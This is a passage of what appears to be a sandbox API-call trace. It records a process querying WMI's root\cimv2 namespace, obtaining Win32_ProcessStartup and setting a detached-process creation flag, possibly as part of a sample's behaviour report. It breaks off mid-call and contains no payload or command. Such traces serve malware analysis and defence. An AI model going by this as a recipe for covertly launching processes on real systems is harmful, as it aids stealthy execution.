[3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0155.408] WbemLocator:IUnknown:AddRef (This=0x1bbf1480) returned 0x3 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0155.408] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0155.408] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0155.408] WbemLocator:IUnknown:Release (This=0x1bbf1480) returned 0x2 [0155.408] WbemLocator:IUnknown:Release (This=0x1bbf1480) returned 0x1 [0155.408] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0155.408] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0155.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1480, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbf1480) returned 0x0 [0155.408] WbemLocator:IUnknown:AddRef (This=0x1bbf1480) returned 0x3 [0155.408] WbemLocator:IUnknown:Release (This=0x1bbf1480) returned 0x2 [0155.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ad10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.409] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0155.409] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.409] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbf10e0) returned 0x0 [0155.409] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbf10e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbda760) returned 0x0 [0155.671] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda760, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdce00) returned 0x0 [0155.671] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdce00, pProxy=0x1bbda760, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0155.671] WbemLocator:IUnknown:Release (This=0x1bbdce00) returned 0x1 [0155.671] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda760, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdce40) returned 0x0 [0155.671] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda760, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdce00) returned 0x0 [0155.671] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdce00, pProxy=0x1bbda760, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0155.672] WbemLocator:IUnknown:Release (This=0x1bbdce00) returned 0x2 [0155.672] WbemLocator:IUnknown:Release (This=0x1bbdce40) returned 0x1 [0155.672] CoTaskMemFree (pv=0x1bc193e0) [0155.672] WbemLocator:IUnknown:AddRef (This=0x1bbda760) returned 0x2 [0155.672] WbemLocator:IUnknown:Release (This=0x1bbf10e0) returned 0x0 [0155.672] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0155.673] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0155.673] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdce10) returned 0x0 [0155.673] WbemLocator:IRpcOptions:Query (in: This=0x1bbdce10, pPrx=0x1bbf11c0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0155.673] WbemLocator:IUnknown:Release (This=0x1bbdce10) returned 0x2 [0155.673] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0155.673] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0155.673] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda760, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbda760) returned 0x0 [0155.673] WbemLocator:IUnknown:Release (This=0x1bbda760) returned 0x2 [0155.673] SysStringLen (param_1=0x0) returned 0x0 [0155.674] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0155.674] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0155.674] IWbemServices:GetObject (in: This=0x1bbda760, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bcf7220, ppCallResult=0x0) returned 0x0 [0155.676] IWbemClassObject:Get (in: This=0x1bcf7220, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0155.676] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0155.676] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0155.676] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0155.676] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0155.676] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0155.676] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.678] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbf10e0) returned 0x0 [0155.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf10e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0155.679] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf10e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0ab90) returned 0x0 [0155.679] WbemDefPath:IUnknown:Release (This=0x1bbf10e0) returned 0x0 [0155.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0ab90) returned 0x0 [0155.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0155.680] WbemDefPath:IUnknown:AddRef (This=0x1aa0ab90) returned 0x3 [0155.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0155.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0155.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbf1100) returned 0x0 [0155.680] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.680] WbemDefPath:IUnknown:Release (This=0x1bbf1100) returned 0x3 [0155.680] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0155.680] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0155.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0155.680] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x2 [0155.680] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x1 [0155.680] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0155.680] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0155.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0ab90) returned 0x0 [0155.680] WbemDefPath:IUnknown:AddRef (This=0x1aa0ab90) returned 0x3 [0155.681] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x2 [0155.681] WbemDefPath:IWbemPath:SetText (This=0x1aa0ab90, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0155.681] IWbemClassObject:Get (in: This=0x1bcf7220, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868b38*=0, plFlavor=0x2868b3c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868b38*=19, plFlavor=0x2868b3c*=0) returned 0x0 [0155.681] IWbemClassObject:Get (in: This=0x1bcf7220, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868b38*=19, plFlavor=0x2868b3c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868b38*=19, plFlavor=0x2868b3c*=0) returned 0x0 [0155.681] IWbemClassObject:Put (This=0x1bcf7220, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0155.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ae90, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0155.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.681] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0155.681] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.681] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0155.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0155.681] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0155.681] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.683] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbf12c0) returned 0x0 [0155.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf12c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0155.684] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf12c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0aad0) returned 0x0 [0155.684] WbemDefPath:IUnknown:Release (This=0x1bbf12c0) returned 0x0 [0155.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0aad0) returned 0x0 [0155.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0155.684] WbemDefPath:IUnknown:AddRef (This=0x1aa0aad0) returned 0x3 [0155.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0155.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0155.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbf1300) returned 0x0 [0155.684] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1300, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.684] WbemDefPath:IUnknown:Release (This=0x1bbf1300) returned 0x3 [0155.685] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0155.685] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0155.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0155.685] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x2 [0155.685] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x1 [0155.685] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0155.685] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0155.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0aad0) returned 0x0 [0155.685] WbemDefPath:IUnknown:AddRef (This=0x1aa0aad0) returned 0x3 [0155.685] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x2 [0155.685] WbemDefPath:IWbemPath:SetText (This=0x1aa0aad0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0155.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0155.685] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0155.685] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.685] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0155.685] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0155.685] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0155.685] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.686] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbf1880) returned 0x0 [0155.687] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0155.687] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbf1880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 